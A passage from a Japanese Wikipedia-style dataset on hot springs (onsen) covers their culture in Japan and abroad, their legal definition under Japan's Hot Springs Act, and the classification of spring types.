"text": "箱根温泉(神奈川県足柄下郡箱根町)や熱海温泉(静岡県熱海市)のように交通が便利な地域に形成された大規模な温泉街もあれば、交通の便が悪い山奥などにあるものの泉質や閑静な雰囲気などを求める秘湯めぐりというジャンルもある。",
"title": "日本の温泉"
},
{
"paragraph_id": 38,
"tag": "p",
"text": "1950年代には、温泉地に向かう鉄道の臨時電車も設定されるなど、戦後の混乱から徐々に脱却し、温泉地に向かう余裕のある客も増えてきたが、さすがに年末年始の時期に温泉に向かう客は少なく、週末に東京から伊豆方面へ温泉客を運んでいた臨時電車「いこい」「いでゆ」(現在の特急踊り子号の前身)が運休する年もあった。",
"title": "日本の温泉"
},
{
"paragraph_id": 39,
"tag": "p",
"text": "バブル期のリゾートマンションには、天然温泉付きというものもあった(そういった名称ではないものの1960年前後に既に存在したという説もある)。",
"title": "日本の温泉"
},
{
"paragraph_id": 40,
"tag": "p",
"text": "1997年の多摩テック「クア・ガーデン」(既に閉園)を先駆けとし、テーマパーク(遊園地)に天然温泉施設を併設する動きが2000年代初頭に相次いだ。",
"title": "日本の温泉"
},
{
"paragraph_id": 41,
"tag": "p",
"text": "火山性温泉の周辺には、火山活動に伴う地形や現象などが観光資源になっている例もある(大涌谷や各地の地獄谷など)。成分や湯温などが入浴に適さないなどの理由で、観光客が見て楽しむ熱水泉もあり、別府地獄めぐりや世界各地にある間欠泉が有名である。",
"title": "日本の温泉"
},
{
"paragraph_id": 42,
"tag": "p",
"text": "地獄谷温泉 (長野県)は人間が泊まる温泉宿以外に、ニホンザルが露天風呂につかる地獄谷野猿公苑があることで日本国外にも知られている。",
"title": "日本の温泉"
},
{
"paragraph_id": 43,
"tag": "p",
"text": "温泉に含まれる成分が析出・沈殿したものを「湯の花」と呼ぶ。採取して入浴剤などとして販売している温泉地もある。明礬温泉(別府市)の「湯の花小屋」における湯の花からの明礬製造技術は国の重要無形民俗文化財に指定されている。",
"title": "日本の温泉"
},
{
"paragraph_id": 44,
"tag": "p",
"text": "大塩裏磐梯温泉(福島県)では、濃い食塩泉を煮詰めて製塩(山塩)が行われている。",
"title": "日本の温泉"
},
{
"paragraph_id": 45,
"tag": "p",
"text": "温泉の熱を、アンモニアやフロンなどの水よりも沸点が低いものに与えることで蒸気を発生させ、その蒸気圧によってタービンを回すことで電力を発生させるバイナリー発電が行われている。従来の地熱発電と比べ、開発コストが低い、温泉枯渇のリスクが低い、というメリットがある。長崎県雲仙市や大分県別府市などで運用されている。",
"title": "日本の温泉"
},
{
"paragraph_id": 46,
"tag": "p",
"text": "土湯温泉(福島県)では温泉熱をテナガエビ養殖に、草津温泉(群馬県)では水道水の加温や暖房、道路の融雪に利用している。",
"title": "日本の温泉"
},
{
"paragraph_id": 47,
"tag": "p",
"text": "世界的に温泉の利用形態は大きく分けて、入浴して体を休める(日本ではこれが主流)、入浴して療養する、入浴して楽しむ(泳ぐなど)、そして飲む(飲泉)、蒸気を利用する(サウナや蒸し風呂)に大別される。入浴して体を休めるのは湿潤な気候を反映した日本独自の文化(例外的にアジアの一部で日本的な入浴が広まっている)であり、世界的には楽しむ、療養する、あるいは飲むもの、蒸すものとして認識されている。だが、今日の日本文化のブームやonsen文化の浸透(後述)によって、日本式の入浴が世界中で拡がっている部分も見られる。",
"title": "世界の温泉"
},
{
"paragraph_id": 48,
"tag": "p",
"text": "歴史的にみると、温泉は紀元前3000-4000年代にはエジプトで利用されており、エトルリア人は源泉周辺に温泉施設を建設し、鉱泉を調査・管理する制度も持っていた。古代ギリシャ時代にはすでに病気治療のための温泉利用が確立し、温泉の効能の神秘的な力から信仰と結びついて、巡礼と治療の場として発達した。古代ローマ時代には、ホテルと温泉を結びつけた保養施設の建設がさらに進められ、富裕層向けの豪華なリゾート的施設から庶民的なものまで幅広く造られた。温泉町には遊興施設が出現し、娯楽と享楽の場として栄えたが、ローマ帝国の衰退とともに寂れていった。",
"title": "世界の温泉"
},
{
"paragraph_id": 49,
"tag": "p",
"text": "キリスト教は初期においてローマ的な温泉信仰を根絶するために温泉施設を取り壊し、代わりに教会などのキリスト教施設を建設し、裸体で浴槽に入るのは肉欲にも繋がるとして否定的な態度を取っていた。13世頃になると十字軍により伝えられた東方の浴場情報から温泉の医学的利用が再び始まり、15世紀には共同体が温泉管理に力を入れたことで温泉地は活況を取り戻した。19世紀後半には温泉療養リゾート熱が再燃し、温泉町にカジノや別荘が盛んに建設されるようになり、現在に至っている。",
"title": "世界の温泉"
},
{
"paragraph_id": 50,
"tag": "p",
"text": "ヨーロッパの温泉地としては、チェコのカルロヴィ・ヴァリ、イギリスのバース、ベルギーのスパ、ハンガリーのブダペスト、ドイツのバーデン=バーデンなどが有名である。詳細は後述の項目を参照。",
"title": "世界の温泉"
},
{
"paragraph_id": 51,
"tag": "p",
"text": "日光浴や空気浴を加えた保養地として発達してきた。現在でも、鉱泉水を飲んだり、決められた時間だけ湯につかり、シャワーを浴びながらマッサージを受けたりすることは医療行為として認められている。",
"title": "世界の温泉"
},
{
"paragraph_id": 52,
"tag": "p",
"text": "日本の温泉が入浴本位で発展したのに対し、現在のヨーロッパでは特に「温泉を飲む」、すなわち飲泉が温泉文化として深く根付いている。カルルス温泉の由来にもなった有名なカルルスバードなどは飲泉のための温泉地である。",
"title": "世界の温泉"
},
{
"paragraph_id": 53,
"tag": "p",
"text": "15世紀までは入浴が主であったが、火山帯が少ないため湯量が少なく、また泉温が低かったため、温泉地は発展しなかった。また、風紀の乱れや梅毒やペストなどの伝染病蔓延や宗教的理由による社会背景などにより入浴が身体を害するものとみなされ、入浴という習慣が敬遠されていった(詳しくは「入浴」の項を参照)。一方、ヨーロッパでは飲用水の質が悪く、そのため一部の入浴客は温泉水を飲用していた。これに目を付けた温泉地は瓶詰めにして売り出したところ、大変な評判を呼び、以後は“温泉は飲むもの”、すなわち飲泉が文化として根付いた。有名なエビアンやヴィシーなども温泉水である。なお、日本においても「ウィルキンソン」「ジンジャーエール」など一部の炭酸飲料は初期に炭酸泉水を原料としていた。",
"title": "世界の温泉"
},
{
"paragraph_id": 54,
"tag": "p",
"text": "またこれにより、温泉水を直に飲用したことで医療効果が鮮明であったことから、飲泉と医学がすぐに結びついた。これは日本の温泉が、流入した西洋医学の崇拝が妨げとなって、しばらく温泉療法が民間療法と見做されて研究が遅れたのとは対称的である(尤も、陸海軍の大規模な傷病者施設のあった別府や、三朝など一部の温泉では温泉病院が設けられたり近隣の大学と結びつき、営々と研究も行われていた)。",
"title": "世界の温泉"
},
{
"paragraph_id": 55,
"tag": "p",
"text": "今日温泉町として知られるバースやカルルスバートなどは保養地としても発展し、温泉病院や老後施設なども完備する。温泉による保養という点では日本と同じである。また、ホテルやレストランも建てられているが、中に入浴用の温泉は存在せず(ヨーロッパ、特に西欧や東欧は日本ほど湿潤でないことも入浴文化が発展しなかった大きな理由である)、代わりに飲泉場や飲泉バーが設けられている。",
"title": "世界の温泉"
},
{
"paragraph_id": 56,
"tag": "p",
"text": "対してバーデンバーデンやスパなどのように入浴用として形成された温泉地も少数ながら存在する。しかし、いずれも日本の温泉のように「浸かる」という概念が存在しない。ドイツのバーデンバーデンは温泉としてより、むしろ付随するカジノやブティック、宝石店や高級ホテルなどによるリゾート地として発展した。温泉はサウナやシャワーなどにも利用されるほか、共同浴場が設けられており、温泉水の大浴槽でプール感覚と同様に泳ぐ者も多い(日本ではマナー違反とされる)。また、日本のように裸で入浴するという習慣はなく、水着を着用する。そのために、男湯や女湯と隔てることもない場合が多く、日本の温水プールのような具合で湯に親しむ場所となっている。このような例は後述するニュージーランドの例がある。",
"title": "世界の温泉"
},
{
"paragraph_id": 57,
"tag": "p",
"text": "また、国際的な温泉地の固定名称にもなったベルギーのスパは療養向けに発展した温泉地である。温泉街の規模が小さく、ホテルの個室内に療養用のバスタブが設けられており、日本の湯治向け温泉に雰囲気が似ている。だが、湯船に入るのは専ら療養目的であるので、日本のように“ゆったり浸って疲れを癒す”という概念は存在しない。",
"title": "世界の温泉"
},
{
"paragraph_id": 58,
"tag": "p",
"text": "ハンガリーでは古代ローマ時代から公衆浴場が建設され、2000年近くに渡る温泉文化を持っている。ブダペストはチェスができる混浴(水着着用)のセーチェーニ温泉などの温泉が100箇所以上ある。また、温水湖であるヘーヴィーズ湖も存在する。",
"title": "世界の温泉"
},
{
"paragraph_id": 59,
"tag": "p",
"text": "歴史的には、ヨーロッパの温泉はローマ帝国滅亡後いったん廃れるが、15世紀ころに活況を取り戻す。当時はドイツとイタリアの温泉が好まれたが、ヨーロッパの貴族や王族の社交場だったスイスのバーデンがもっとも人気の温泉地だった。16世紀には上流階級の温泉町逗留が始まり、ヨーロッパ各地に点在する温泉巡りも盛んになっていった。",
"title": "世界の温泉"
},
{
"paragraph_id": 60,
"tag": "p",
"text": "ローマ帝国の支配により各地に温泉施設が造られた。地名にレ・バンと付く所は古くから発達した温泉地である。アンリ4世時代の1605年には温泉鉱泉監督官制度が始まっており、これがフランスにおける国家による最初の温泉政策となった。総監督には王の主治医が就き、弟子たちに各地の温泉を管理させた。貴族や王族による湯治が盛んになる一方、各温泉地には貧窮者用の無料の温泉療養設備も造られた。温泉地は1650年には60か所、1785年には100か所あり、源泉の数は1,000以上にのぼった。このうちいくつかの温泉地では君主や王族、あるいは有名人が訪れることで名声が高まり、それにともなって温泉地の整備も進んでいった。次第に療養者の数は増えていき、18世紀後半になるとホテルなど宿泊施設や病院が温泉地に建設されるようになった。1772年には王立医学委員会(のちの王立医学アカデミー)が設立され、温泉の総合的な調査と管理統制が行なわれた。",
"title": "世界の温泉"
},
{
"paragraph_id": 61,
"tag": "p",
"text": "フランス革命後は、王政時代の監督官制度に代わって、温泉監督医制度が始まり、19世紀には保養と社交を兼ねた温泉地滞在が盛んになり、温泉地のリゾート化が進んだ。1806年には温泉地のギャンブルが正式に許可されてカジノが登場した。産業革命により、交通や温泉町の整備が進み、富裕層も増加したことから、19世紀後半には、大規模ホテルの建設、温泉ガイドの出版、温泉医の乱立、温泉開発投資ブーム、温泉地と組んだ広告宣伝の活発化など、温泉の観光化が急激に進んだ。また皇族の温泉地滞在も非常に盛んになり、温泉外交も頻繁に行なわれた。20世紀初頭には、公認源泉は約1,400、温泉リゾート地は130を数え、カジノやミネラル・ウォーターの販売は温泉地の大きな収入源となった。第二次大戦以降は、温泉療養が社会保障に組み込まれたことで、一気に大衆化した。",
"title": "世界の温泉"
},
{
"paragraph_id": 62,
"tag": "p",
"text": "2000年代の資料では、公認源泉は約1,200、温泉地は約100か所ある。源泉は山岳地帯にあるため、主にピレネー、オーヴェルニュ、アルプス、ヴォージュなどに集中する。温泉地としては、エクス=レ=バン、エヴィアン=レ=バン、ダクス、ヴィシー、ヴィッテルといった有名地をはじめ、バニェール・ド・ビゴール、コートゥレ、リュション、アクス・レ・テルム、ル・モン・ドール、ラ・ブルブール、ロワイヤ、シャテル=ギヨン、ネリス、プーグ・レ・バン、ディヴォーヌ、ユリナージュ、ブルボーヌ・レ・バン、プロンビエール・レ・バン、リュクスイユ、コントレクセヴィル、サラン・デュ・ジュラ、バニョール・ド・ロルヌ、フォルジュ・レゾー、サンタマン・レゾー、バラリュック、ラマル、エクサン・プロヴァンス、グレウーなど多数ある。",
"title": "世界の温泉"
},
{
"paragraph_id": 63,
"tag": "p",
"text": "ジョージアの首都・トビリシのアバノツバニ(ジョージア語で湯治街の意味)は有名な温泉街であり、トビリシの名前の由来となった。1829年にはロシアの詩人であるアレクサンドル・プーシキンもアバノツバニのオルベリアニ浴場 (Orbeliani Baths) を訪れている。",
"title": "世界の温泉"
},
{
"paragraph_id": 64,
"tag": "p",
"text": "アメリカ大陸には日本ほどではないが、アラスカ山脈やロッキー山脈など、一部の火山帯を中心に自然の温泉が点在する。その中でも特に著名なのはワイオミング州北西部(一部モンタナ州・アイダホ州にもまたがる)のイエローストーン国立公園で、園内には多数の温泉(源泉)や間欠泉が点在している。しかし、カリフォルニア州カリストガのように観光地化されている温泉地や、コロラド州グレンウッドスプリングスのように温泉水をプールとして利用しているといった、ごく一部の例外を除けば、ほとんどが大自然の露天風呂であり、開発はさほど進んでいない。",
"title": "世界の温泉"
},
{
"paragraph_id": 65,
"tag": "p",
"text": "アメリカ合衆国において、温泉地として開発された最も有名な例としてはアーカンソー州ホットスプリングス市が挙げられる。同地の温泉は、1541年にスペイン人探検家エルナンド・デ・ソトが、原住民が古くから使用していた温泉を発見したのが始まりとされている。ここは湯量が豊富であり、合衆国の中では比較的湿度が高い地域ではあるが、西ヨーロッパと同様、基本的に「湯につかる」という習慣が無かったため、あくまで医療・療養目的として使用されるにとどまっており、市内に点在していたカジノやブティックなどのリゾート施設がリゾート地としての発展を後押しすることになった。また、療養温泉地としての性質から、第二次世界大戦時中には傷病者の治療・保健施設も設けられた。今日では年間300万人が訪れる全米随一の温泉リゾートとなっている。",
"title": "世界の温泉"
},
{
"paragraph_id": 66,
"tag": "p",
"text": "東部においては、アパラチア山脈沿いに温泉地が点在している。東部は合衆国の中でも最も早くからヨーロッパ人の入植が進んだ土地であるだけに、ジョージ・ワシントンゆかりの温泉地であるウェストバージニア州のバークレースプリングスや、トーマス・ジェファーソンが訪れ、通ったとされるバージニア州のジェファーソン・プールズ、その近隣に立地し、多数の著名人が訪れた高級リゾートのホームステッドなど、長い歴史を持つ温泉地もある。",
"title": "世界の温泉"
},
{
"paragraph_id": 67,
"tag": "p",
"text": "韓国および北朝鮮では日本に似た“浸かる”温泉文化が根付いており、日韓併合に伴い、日本人が朝鮮半島で温泉開発を行ったことに因るものである。いずれも火山が少ないが、高温が噴出する温泉が多く存在する。しかし、日本とは文化的な相違があり、初めて訪れる日本人はカルチャーショックを受けることがある(たとえば、入浴の際に何も持たない)。また、汗蒸と呼ばれる伝統的な蒸し風呂がある。",
"title": "世界の温泉"
},
{
"paragraph_id": 68,
"tag": "p",
"text": "台湾における温泉の歴史の始まりは、北投で1894年にドイツ人のウォーリー(Quely)が温泉を発見したことだとされる。1896年には、その北投温泉に大阪出身の平田源吾が「天狗庵」と言う旅館を建設し、周辺にも陸軍の保養所などが建設される。これらは記録に残ったものであるが、温泉の効能が書かれた説明などには、知本温泉のように台湾の先住民が利用したと言う記述や伝聞も残されている。屏東県車城郷の四重渓温泉には、高松宮が夫婦で利用した浴槽が現在でも残されている。日本の統治時代に警察の保養所として建設された温泉旅館が、蔣介石の時代には「警光山荘」として台湾の警察に利用され、現在では一般人も利用できるようになっている。台湾の温泉は水着着用で利用するのが一般的だが、日本式の温泉を表す「日式」と書かれた温泉では、日本の温泉のように何も身に付けずに利用することを表す。一部の温泉では温泉卵を茹でる場所も用意されている。",
"title": "世界の温泉"
},
{
"paragraph_id": 69,
"tag": "p",
"text": "オセアニアで有名な温泉大国はニュージーランドで、国内には火山が多いために、温泉地も数多く存在する。原住民のマオリの人々も温泉の効能を知っており、温泉を療養に用いていたという。しかし、20世紀前半に国を挙げて豊富な温泉水に目を向け、滞在型の温泉リゾートを開発しようとしたが、日本ほど湿潤な気候でないことと、入植した白人には入浴という習慣が根付いていなかったため、さほど進展しなかった。今日、ニュージーランドの温泉はスポーツやエクササイズといった健康面で結びつき、あくまでスポーツやアウトドア後に汗を流すための保養施設として発展している。また、温泉水を利用した温泉プールは非常に人気があり、温泉地の主力施設となっている。",
"title": "世界の温泉"
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"text": "地図記号としての「温泉記号」については、「温泉マーク」の項目を参照のこと。",
"title": "温泉記号・温泉マーク"
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"text": "文字としての温泉マークは、「♨」。温泉マークの文字参照による表記方法は、♨(♨)である。",
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| 温泉(おんせん)は、地中から湯(熱水泉)が湧き出している現象や場所、湯そのものを示す用語である。その熱水泉を用いた入浴施設やそれらが集まった地域(温泉街、温泉郷)も一般に温泉と呼ばれる。人工温泉と対比して「天然温泉」と称する場合もある。 熱源で分類すると、火山の地下のマグマを熱源とする火山性温泉と、火山とは無関係に地熱などにより地下水が加温される非火山性温泉に分けられる。含まれる成分により、様々な色、におい、効能の温泉がある。 広義の温泉(法的に定義される温泉):日本の温泉法の定義では、必ずしも水の温度が高くなくても、普通の水とは異なる天然の特殊な水(鉱水)やガスが湧出する場合に温泉とされる(後節の「温泉の定義」を参照)。温泉が本物か否かといわれるのは、温泉法の定義にあてはまる「法的な温泉」であるのかどうかを議論する場合が一般的である(イメージに合う合わないの議論でも用いられる場合がある)。 湧出している熱水泉を、温かく感じるか冷たく感じるかは、個人差や環境に左右される面があり、世界各地ではその国の一年の平均気温を基準として、「温泉」とするかどうかの温度が定められている。日本では温泉法によって25度となっている。他国では、南アフリカでは25度、アメリカ合衆国では華氏70度(摂氏21.1度に相当)、イギリス・フランス・ドイツでは20度が基準である。 | {{Otheruses||その他}}
{{出典の明記|date=2017年3月6日 (月) 08:02 (UTC)|ソートキー=温*}}
<div style="float:right">
[[ファイル:Yufuin Onsen Rotenburo.JPG|none|thumb|200px|[[岩石]]を湯船とした[[露天風呂]]<br>[[由布院温泉]]]]
[[ファイル:Beppu Chinoike-jigoku01n4272.jpg|none|thumb|200px|[[血の池地獄]]<br>[[名勝]]・[[別府の地獄]]]]
[[ファイル:Beppu Umi-jigoku04n4272.jpg|none|thumb|200px|[[海地獄]]<br>名勝・別府の地獄]]
[[ファイル:Kusatsu Yubatake 04.JPG|none|thumb|200px|[[湯畑]]<br>[[草津温泉]]]]
[[ファイル:Onsen in Nachikatsuura, Japan.jpg|none|thumb|200px|ホテルの露天風呂<br />[[南紀勝浦温泉]]]]
[[ファイル:Kumano Kodo World heritage Yunomine Onsen Tsuboyu 湯の峰温泉 つぼ湯20.JPG|none|thumb|200px|[[共同浴場]]<br>[[湯の峰温泉]]]]
[[ファイル:Kinosaki Onsen09s4592.jpg|none|thumb|200px|[[外湯]]<br>[[城崎温泉]][[御所の湯]]]]
[[ファイル:Evening twilight in Ginzan Onsen town January 2022 A.jpg|none|thumb|200px|[[温泉街]]<br>[[銀山温泉]]]][[ファイル:Owakudani onsen.jpg|none|thumb|200px|山の温泉<br>[[大涌谷|大涌谷温泉]]]][[ファイル:Kaisenkaku Asamushi Onsen Aomori Japan02n.jpg|none|thumb|200px|展望温泉浴場<br>[[浅虫温泉]]]]
[[ファイル:Oobuka Onsen Akita 02.jpg|none|thumb|200px|温泉を利用した[[風呂]]<br>[[大深温泉]]]]
[[ファイル:Jigokudani hotspring in Nagano Japan 001.jpg|none|thumb|200px|入浴中の[[ニホンザル]]<br>[[地獄谷野猿公苑]]]]
</div>
'''温泉'''(おんせん)は、[[地中]]から[[湯]]([[熱水泉]])が湧き出している現象や場所、湯そのものを示す用語である。その熱水泉を用いた[[入浴]]施設やそれらが集まった地域([[温泉街]]、[[温泉郷]])も一般に温泉と呼ばれる。[[人工温泉]]と対比して「天然温泉」と称する場合もある。
熱源で分類すると、[[火山]]の地下の[[マグマ]]を熱源とする火山性温泉と、火山とは無関係に[[地熱]]などにより[[地下水]]が加温される非火山性温泉に分けられる<ref group="注釈">石英など結晶に圧力を加えると電気が発生する([[圧電効果]])。地盤にひずみが起きると地中の結晶状の岩石が圧電効果を起こし電磁エネルギーを蓄える。蓄えた電磁エネルギーは電磁波として放出されるが、[[電子レンジ]]と同じ[[マイクロ波]]の波長で放出されると、電子レンジ同様に地中に含まれる水分を加熱させるため温水となる。
また、圧電効果を起こす結晶に電圧をかけると逆にひずみを引き起こすことが知られている(逆圧電効果)。</ref>。含まれる成分により、様々な色、[[におい]]、効能の温泉がある。
'''広義の温泉(法的に定義される温泉)''':[[日本]]の[[温泉法]]の定義では、必ずしも[[水]]の温度が高くなくても、普通の水とは異なる天然の特殊な水([[鉱泉|鉱水]])や[[火山ガス|ガス]]が湧出する場合に温泉とされる(後節の「[[#温泉の定義|温泉の定義]]」を参照)。温泉が本物か否かといわれるのは、[[温泉法]]の定義にあてはまる「法的な温泉」であるのかどうかを議論する場合が一般的である(イメージに合う合わないの議論でも用いられる場合がある)。
湧出している[[熱水泉]]を、温かく感じるか冷たく感じるかは、個人差や環境に左右される面があり、世界各地ではその国の一年の平均気温を基準として、「温泉」とするかどうかの温度が定められている。日本では[[温泉法]]によって25度となっている。他国では、[[南アフリカ]]では25度、[[アメリカ合衆国]]では華氏70度(摂氏21.1度に相当)、イギリス・フランス・ドイツでは20度が基準である<ref>神奈川県温泉地学研究所、[https://www.onken.odawara.kanagawa.jp/modules/study/index.php/content0007.html (1) 温泉法による温泉の定義]、2020年8月31日閲覧。</ref>。
== 温泉の成り立ち ==
[[地熱]]で温められた地下水が自然に湧出するものと、[[ボーリング]]によって人工的に湧出あるいは揚湯されるもの(たとえ[[造成温泉]]でも)どちらも、温泉法に合致すれば温泉である。温泉を熱源で分類すると、火山の地下のマグマを熱源とする'''火山性温泉'''と、[[火山]]とは無関係の'''非火山性温泉'''に分けられる。非火山性温泉はさらに、地下深くほど温度が高くなる[[地温勾配]]に従って高温となったいわゆる深層熱水と、熱源不明のものに分けられる。また特殊な例として、古代に堆積した[[植物]]が[[亜炭]]に変化する際の熱によって温泉となった[[モール泉]]が北海道の[[十勝川温泉]]などに存在する。
火山性温泉は当然ながら火山の近くにあり、[[火山ガス]]起源の成分を含んでいる。深層熱水は[[平野]]や[[盆地]]の地下深部にあってボーリングによって取り出されることが多く、[[海水]]由来の塩分や[[有機物]]を含むことがある。
非火山性温泉の中には通常の地温勾配では説明できない高温のものがあり([[有馬温泉]]、[[湯の峰温泉]]、[[松之山温泉]]など)、その熱や成分の起源についていくつかの説が提案されているが、いずれも仮説の段階である。
[[飛越地震]]後に新たに泉温70度の温泉が噴き出した立山の[[新湯]]や[[東日本大震災]]後に泉温が上昇した[[割石温泉]]など地震による温泉の変動が見られることがある。
== 温泉の定義 ==
日本では温泉は'''[[温泉法]]'''と[[環境省]]の'''[[鉱泉分析法指針]]'''で定義されている。
=== 温泉の要素 ===
温泉には以下の要素がある。
; 泉温
: 泉温は湧出口(通常は地表)での温泉水の温度とされる。泉温の分類としては鉱泉分析法指針では'''冷鉱泉・微温泉・温泉・高温泉'''の4種類に分類される。
: 泉温の分類は、[[政府|国]]や分類者により名称や泉温の範囲が異なるため、世界的に統一されているというわけではない。
; 溶解成分([[泉質]])
: 水(湯)以外の溶解成分は人為的に定められた規定に基づき分類される。日本では温泉法及び鉱泉分析法指針で規定されている。鉱泉分析法指針では、[[鉱泉]]の中でも治療の目的に供しうるものを特に療養泉と定義し、特定された八つの[[物質]]について更に規定している。溶解成分の分類は、温泉1kg中の溶存物質量によりなされる。
; 湧出量
: [[湧出量]]は地中から地表へ継続的に取り出される水量であり、[[動力]]等の人工的な方法で汲み出された場合も含まれる。
: 温泉の三要素は温泉の特徴を理解するために有益であるが、詳しくは物理的・化学的な性質等に基づいて種々の分類及び規定がなされている。
; 浸透圧
: 鉱泉分析法指針では[[浸透圧]]に基づき、温泉1[[キログラム|kg]]中の[[溶存物質総量]]ないし[[凝固点]](氷点)によって 低張性・等張性・高張性 という分類も行っている。
=== 温泉法による温泉の定義 ===
日本では、[[1948年]](昭和23年)7月10日に温泉法が制定された。この温泉法第2条(定義)によると、温泉とは、以下のうち一つ以上が満たされる「地中からゆう出する温水、鉱水及び水蒸気その他のガス(炭化水素を主成分とする天然ガスを除く。)」と定義されている(法的な定義による広義の温泉)。
# 泉源における水温が[[摂氏]]25度以上。(摂氏25度未満のものは、[[鉱泉|冷泉]]または鉱泉と呼ぶことがある)
# 水温にかかわらず、以下の成分のうち、いずれか1つ以上のものを含む。(含有量は1kg中)
## 溶存物質([[気体|ガス]]性のものを除く。) 総量1,000mg以上
## 遊離[[炭酸]] (CO<sub>2</sub>) 250mg以上
## [[リチウム]][[イオン]] (Li<sup>+</sup>) 1mg以上
## [[ストロンチウム]]イオン (Sr<sup>2+</sup>) 10mg以上
## [[バリウム]]イオン (Ba<sup>2+</sup>) 5mg以上
## [[鉄|フェロ又はフェリ]]イオン (Fe<sup>2+</sup>,Fe<sup>3+</sup>) 10mg以上
## 第一[[マンガン]]イオン (Mn<sup>2+</sup>) 10mg以上
## [[水素]]イオン (H<sup>+</sup>) 1mg以上
## [[臭素]]イオン (Br<sup>-</sup>) 5mg以上
## [[ヨウ素|沃素]]イオン (I<sup>-</sup>) 1mg以上
## [[フッ素]]イオン (F<sup>-</sup>) 2mg以上
## [[ヒ酸]]水素イオン (HAsO<sub>4</sub><sup>2-</sup>) 1.3mg以上
## [[三酸化二ヒ素|メタ亜ひ酸]] (HAsO<sub>2</sub>) 1mg以上
## 総[[硫黄]] (S) [HS<sup>-</sup>,S<sub>2</sub>O<sub>3</sub><sup>2-</sup>,H<sub>2</sub>Sに対応するもの] 1mg以上
## [[メタホウ酸]] (HBO<sub>2</sub>) 5mg以上
## [[ケイ酸|メタけい酸]] (H<sub>2</sub>SiO<sub>3</sub>) 50mg以上
## [[炭酸水素ナトリウム|重炭酸ソーダ]] (NaHCO<sub>3</sub>) 340mg以上
## [[ラドン]] (Rn) 20×10<sup>-10</sup>[[キュリー単位|Ci]]以上
## [[ラジウム]]塩 (Raとして) 1億分の1mg以上
=== 鉱泉分析法指針による分類 ===
環境省の定める鉱泉分析法指針では「常水」と「鉱水」を区別する。湧出時の温度が摂氏25度以上であるか、または指定成分が一定の値以上である場合、これを「鉱水」と分類する(「[[鉱泉]]」および「[[泉質]]」も参照)。
; 泉温
: 湧出または採取したときの温度により以下の四種類に分類される。
:# 冷鉱泉 - 摂氏25度未満
:# 微温泉 - 泉摂氏25度以上摂氏34度未満
:# 温泉 - 摂氏34度以上摂氏42度未満(狭義の温泉)
:# 高温泉 - 摂氏42度以上
:
; 液性の分類 - [[水素イオン指数|pH]]値
: 湧出時のpH値による分類
:# 酸性 - pH3未満
:# 弱酸性 - pH3以上6未満
:# 中性 - pH6以上7.5未満
:# 弱アルカリ性 - pH7.5以上8.5未満
:# アルカリ性 - pH8.5以上
:
; 浸透圧の分類
: 溶存物質総量および凝固点(氷点)による分類
:# 低張性 - 溶存物質総量 8g/kg未満、氷点-0.55℃以上
:# 等張性 - 溶存物質総量 8g/kg以上10g/kg未満、氷点-0.55℃未満-0.58℃以上
:# 高張性 - 溶存物質総量 10g/kg以上、氷点-0.58℃未満
==== 療養泉 ====
鉱泉分析法指針では、治療の目的に供しうる鉱泉を特に'''療養泉'''と定義し、特定された八つの物質について更に規定している。
泉源の温度が摂氏25度以上であるか、温泉1kg中に以下のいずれかの成分が規定以上含まれているかすると、鉱泉分析法指針における療養泉を名乗ることができる。
* 溶存物総量(ガス性のものを除く) - 1,000mg
* 遊離二酸化炭素 - 1,000mg
* Cu<sup>2+</sup> - 1mg
* 総鉄イオン(Fe<sup>2+</sup>+Fe<sup>3+</sup>) - 20mg
* Al<sup>3+</sup> - 100mg
* H<sup>+</sup> - 1mg
* 総硫黄([HS<sup>-</sup>,S<sub>2</sub>O<sub>3</sub><sup>--</sup>,H<sub>2</sub>Sに対応するもの)- 2mg
* Rn - 111Bq
さらに療養泉は溶存物質の成分と量により以下のように分類される。
# 塩類泉 - 溶存物質量(ガス性物質を除く)1g/kg以上
# 単純温泉 - 溶存物質量(ガス性物質を除く)1g/kg未満かつ湯温が摂氏25度以上
# 特殊成分を含む療養泉 - 特殊成分を一定の値以上に含むもの
=== 資料 ===
* [https://www.env.go.jp/nature/onsen/docs/shishin_bunseki.html 鉱泉分析法指針 - 平成14年版]
== 温泉の種類 ==
=== 療養泉 ===
療養泉はその含有成分によって分類がなされる。またその名称も掲示用泉質名、旧泉質名、新泉質名など3種類存在する。以下は掲示用泉質名の分類である。温泉の種類は「[[泉質]]」も参照のこと。なお、各泉質に記載の効能はあくまで目安で、効果を万人に保証するものではないことに注意する必要がある。
* [[単純温泉]] - 鉱物分・ガス分の含有量が少ない温泉(温泉1kg中に1g未満)。刺激が少なく肌にやさしい。無色透明で無味無臭。
* {{Anchors|塩類泉}}塩類泉 - 溶存物質量(ガス性物質を除く)を1g/kg以上含有しているもの。温度不問。
* [[二酸化炭素泉]] - 温泉水1kg中に遊離[[炭酸]]1g以上を含む温泉。炭酸泉ともいう。
* [[炭酸水素塩泉]] - [[酸と塩基|アルカリ性]]の湯。[[炭酸水素ナトリウム|重曹]]泉、重炭酸土類泉に分類される。
* [[塩化物泉]] -温泉水1kg中の含有成分が1g以上あり、[[陰イオン]]の主成分が[[塩素イオン]]の温泉。
* [[硫酸塩泉]] - [[硫酸塩]]が含まれる。苦味のある味。[[硫酸ナトリウム|芒硝]]泉、[[石膏]]泉、正苦味泉に分かれる。温泉入浴を禁じられている人以外にはこれといった弊害のない無難な泉質である。
* [[含鉄泉]] - 温泉水1kg中に総[[鉄]][[イオン]]を20mg以上含む温泉。水中の鉄分が[[空気]]に触れて[[酸化]]されるため、茶褐色を呈する。
* [[含銅-鉄泉]] - [[銅]]及び鉄を含む温泉。水中の金属分が空気に触れる事によって酸化されるため、湯の色は黄色である。含鉄泉同様、炭酸水素塩系のものと硫酸塩系のものがある。
* [[含アルミニウム泉]] - [[アルミニウム]]を主成分とする温泉。旧泉質名は、明礬泉、緑礬泉など。
* [[硫黄泉]] - 温泉水1kg中に総[[硫黄]]を2mg以上含む温泉。白濁して[[卵]]の腐ったような[[臭い]]がある。
* [[酸性泉]] - 多量の[[水素イオン]]を含有する温泉。多くの場合、遊離した[[硫酸]]・[[塩酸]]などの形で含まれる。刺激が強く、[[殺菌]]効果が高い。
* [[放射能泉]] - 温泉水1kg中に[[ラドン]]を3[[ナノ]][[キュリー]](111[[ベクレル]])以上含む温泉。
==== 特殊成分を含む療養泉 ====
特殊成分を一定の値以上に含むもの。温度は不問。
=== 療養泉でない温泉 ===
